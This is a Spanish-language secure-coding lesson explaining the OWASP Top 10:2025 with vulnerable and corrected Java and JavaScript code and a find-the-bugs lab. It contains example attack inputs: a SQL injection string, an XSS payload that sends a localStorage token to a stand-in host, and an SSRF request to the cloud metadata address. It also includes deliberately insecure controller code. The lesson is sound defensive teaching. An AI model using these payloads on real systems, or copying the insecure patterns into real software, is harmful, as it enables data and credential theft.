Ir al contenido

FundamentosLección 06

Vulnerabilidades web que debes conocer

El OWASP Top 10 de 2025 explicado desde el código. Inyección, XSS, control de acceso roto, asignación masiva, SSRF, configuración insegura y cadena de suministro.

Intermedio20 min de lectura

Al terminar sabrás

  • Ubicar las diez categorías del OWASP Top 10:2025 y qué lección las cubre.
  • Prevenir inyección SQL con consultas parametrizadas y XSS con escapado y CSP.
  • Detectar IDOR y asignación masiva en controladores reales.
  • Reconocer SSRF, errores de configuración y riesgos de la cadena de suministro.

La mayoría de las brechas no usan técnicas exóticas: explotan los mismos errores de siempre, que aparecen una y otra vez en código real. OWASP (Open Worldwide Application Security Project) los agrupa en su Top 10, cuya edición vigente es la de 2025.

#CategoríaEn una fraseDónde se trata
A01Control de acceso rotoHacer cosas o ver datos que no te corresponden (incluye SSRF)Autorización
A02Configuración de seguridad incorrectaValores por defecto inseguros, errores verbosos, servicios expuestosProducción
A03Fallos en la cadena de suministroDependencias vulnerables, comprometidas o sin controlEsta lección
A04Fallos criptográficosDatos sin cifrar, algoritmos débiles, claves expuestasCriptografía
A05InyecciónDatos que se interpretan como código: SQL, comandos, XSSEsta lección
A06Diseño inseguroEl fallo está en el diseño, no en la implementaciónPensar como defensor
A07Fallos de autenticaciónFuerza bruta, credenciales débiles, sesiones mal gestionadasAutenticación
A08Fallos de integridad de software o datosConfiar en datos o actualizaciones sin verificarCriptografía
A09Fallos de registro y alertasNadie se entera del ataqueProducción
A10Mala gestión de condiciones excepcionalesErrores que dejan el sistema abierto o filtran informaciónEsta lección

Inyección: cuando los datos se convierten en código

Sección titulada «Inyección: cuando los datos se convierten en código»

Evita

// El dato se pega dentro del SQL
String sql = "SELECT * FROM notes WHERE owner = '" + user
+ "' AND title LIKE '%" + q + "%'";
List<Note> notes = jdbc.query(sql, mapper);
// q = "' OR '1'='1" → devuelve las notas de todos

Prefiere

// El SQL y los datos viajan por separado
String sql = "SELECT * FROM notes WHERE owner = ? AND title LIKE ?";
List<Note> notes = jdbc.query(sql, mapper, user, "%" + q + "%");

Lo mismo aplica a JPA: @Query("... where n.title = :title") con parámetros es seguro; construir JPQL concatenando strings no lo es. Y el mismo principio se aplica a comandos del sistema (ProcessBuilder con una lista de argumentos, nunca sh -c con texto del usuario), LDAP, expresiones SpEL o rutas de ficheros.

Cross-Site Scripting es inyección de HTML/JavaScript en una página que ven otros usuarios. Si un atacante consigue que su script se ejecute en tu dominio, puede hacer todo lo que el usuario puede hacer: leer datos, llamar a tu API con su sesión, robar tokens de localStorage.

  • Almacenado: el script se guarda (en un comentario, el nombre de perfil) y se sirve a cada visitante.
  • Reflejado: viaja en la URL (?q=<script>…) y la página lo devuelve.
  • Basado en DOM: el propio JavaScript del front mete datos no confiables en el DOM.

Evita

// El título de la nota se interpreta como HTML
card.innerHTML = `<h3>${note.title}</h3>`;
// title = '<img src=x onerror="fetch(`//evil.io?c=`+localStorage.token)">'

Prefiere

// Se inserta como texto: nunca se ejecuta
const h3 = document.createElement('h3');
h3.textContent = note.title;
card.replaceChildren(h3);

Las defensas, por capas:

  1. Escapar en la salida según el contexto (HTML, atributo, URL, JavaScript). Los motores modernos lo hacen por defecto: Thymeleaf th:text, React {valor}, Angular {{valor}}. El peligro está en sus vías de escape: th:utext, dangerouslySetInnerHTML, innerHTML, v-html.
  2. Sanear cuando de verdad necesitas aceptar HTML (un editor enriquecido): una librería como DOMPurify, nunca expresiones regulares propias.
  3. Content Security Policy como red de seguridad: la cabecera Content-Security-Policy le dice al navegador de dónde puede cargar scripts. Una política estricta impide ejecutar scripts inyectados aunque se cuelen.
  4. Cookies HttpOnly para que un XSS no pueda llevarse la sesión.

Control de acceso roto: IDOR y asignación masiva

Sección titulada «Control de acceso roto: IDOR y asignación masiva»

Es la categoría número uno, y casi siempre se reduce a dos errores.

IDOR (Insecure Direct Object Reference): el servidor confía en el id que llega en la petición sin comprobar que el recurso pertenece al usuario.

NoteController.java
@GetMapping("/api/notes/{id}")
Note get(@PathVariable Long id) {
return repo.findById(id).orElseThrow(); // ✗ cualquiera lee cualquier nota
}
@GetMapping("/api/notes/{id}")
Note get(@PathVariable Long id, Authentication auth) {
return repo.findByIdAndOwner(id, auth.getName()) // ✓ solo si es tuya
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
}

Asignación masiva (mass assignment): el servidor copia el JSON entero sobre una entidad, incluidos campos que el usuario no debería controlar.

Evita

// El cliente envía {"username":"eve","password":"…","role":"ADMIN"}
@PostMapping("/api/register")
User register(@RequestBody User user) {
return users.save(user); // ¡role incluido!
}

Prefiere

// Un DTO con SOLO los campos permitidos
record RegisterRequest(@NotBlank String username,
@Size(min = 15) String password) {}
@PostMapping("/api/register")
UserView register(@Valid @RequestBody RegisterRequest req) {
return UserView.of(users.create(req.username(), req.password(), Role.USER));
}

SSRF: que tu servidor haga peticiones por el atacante

Sección titulada «SSRF: que tu servidor haga peticiones por el atacante»

Server-Side Request Forgery ocurre cuando tu servidor descarga una URL que elige el usuario (“importa una imagen desde esta URL”, “previsualiza este enlace”, “webhook de destino”). Tu servidor está dentro de tu red y puede llegar a sitios que el atacante no alcanza.

AtacanteTu APIdentro de la VPC169.254.169.254metadatos de la nube1POST /preview { url: "http://169.254.169.254/…" }2GET /latest/meta-data/…3credenciales temporales de la nube4200 OK + credenciales en la vista previa
El atacante no puede llegar al servicio de metadatos de la nube; tu servidor sí.

Defensas: lista blanca de dominios o esquemas permitidos, resolver el DNS y rechazar IPs internas (loopback, privadas, link-local), no seguir redirecciones a ciegas, y a nivel de red, impedir que la aplicación salga a destinos que no necesita.

SafeFetcher.java
URI uri = URI.create(userUrl);
if (!"https".equals(uri.getScheme()) || !ALLOWED_HOSTS.contains(uri.getHost())) {
throw new IllegalArgumentException("Destino no permitido");
}
for (InetAddress ip : InetAddress.getAllByName(uri.getHost())) {
if (ip.isLoopbackAddress() || ip.isSiteLocalAddress() || ip.isLinkLocalAddress()) {
throw new IllegalArgumentException("Destino interno no permitido");
}
}

Configuración, cadena de suministro y errores

Sección titulada «Configuración, cadena de suministro y errores»

Configuración insegura (A02): credenciales por defecto, stack traces en las respuestas de error, endpoints de administración (Actuator, consolas de base de datos) expuestos a internet, CORS abierto a cualquier origen, cabeceras de seguridad ausentes. Casi siempre se resuelve con revisión y automatización, no con código.

Cadena de suministro (A03): tu aplicación es en un 80–90 % código de terceros. Mantén un inventario de dependencias (SBOM), escanéalas en CI (Dependabot, OWASP Dependency-Check, Snyk), fija versiones, actualiza los parches de seguridad con regularidad y desconfía de paquetes con nombres casi idénticos a los populares (typosquatting).

Mala gestión de excepciones (A10): un catch que devuelve “permitido” cuando algo falla (fallar abierto), un error que revela si un usuario existe, o un mensaje con la consulta SQL completa. Ante un error, el sistema debe fallar cerrado y responder con un mensaje genérico, guardando el detalle solo en el log.

Mini lab · 15 min

Encuentra las vulnerabilidades

Objetivo: Identificar cuatro vulnerabilidades en un controlador real y corregirlas.

ProfileController.java
@RestController
class ProfileController {
@GetMapping("/api/users/{id}")
User profile(@PathVariable Long id) {
return users.findById(id).orElseThrow();
}
@PutMapping("/api/users/{id}")
User update(@PathVariable Long id, @RequestBody User changes) {
changes.setId(id);
return users.save(changes);
}
@GetMapping("/api/users/search")
List<User> search(@RequestParam String name) {
return jdbc.query("SELECT * FROM users WHERE name LIKE '%" + name + "%'", mapper);
}
@ExceptionHandler(Exception.class)
ResponseEntity<String> error(Exception e) {
return ResponseEntity.status(500).body(e.toString());
}
}

Encuentra al menos cuatro problemas, di a qué categoría del Top 10 pertenece cada uno y cómo lo corregirías.

Pista

Mira qué devuelve cada método, qué acepta como entrada, cómo construye el SQL y qué ve el cliente cuando algo falla.

Mostrar respuestaOcultar respuesta
  1. IDOR en profile y update (A01): cualquiera lee o modifica el perfil de cualquier usuario cambiando {id}. Corrige usando la identidad autenticada (/api/me, auth.getName()) o comprobando que el id es el del usuario (o que es admin).
  2. Asignación masiva en update (A01): @RequestBody User permite cambiar role, enabled o el hash de la contraseña. Usa un DTO de entrada con solo los campos editables.
  3. Exposición de datos (A01): devolver la entidad User filtra el hash de la contraseña y campos internos. Devuelve un DTO de salida.
  4. Inyección SQL en search (A05): concatena name. Usa "... LIKE ?" con "%" + name + "%" como parámetro.
  5. Error verboso (A10/A02): e.toString() puede revelar clases, consultas y rutas internas. Devuelve un mensaje genérico (idealmente ProblemDetail) y registra el detalle en el log. Además, un @ExceptionHandler(Exception.class) genérico puede tragarse los errores de autorización: lo verás en la lección de 401 vs 403.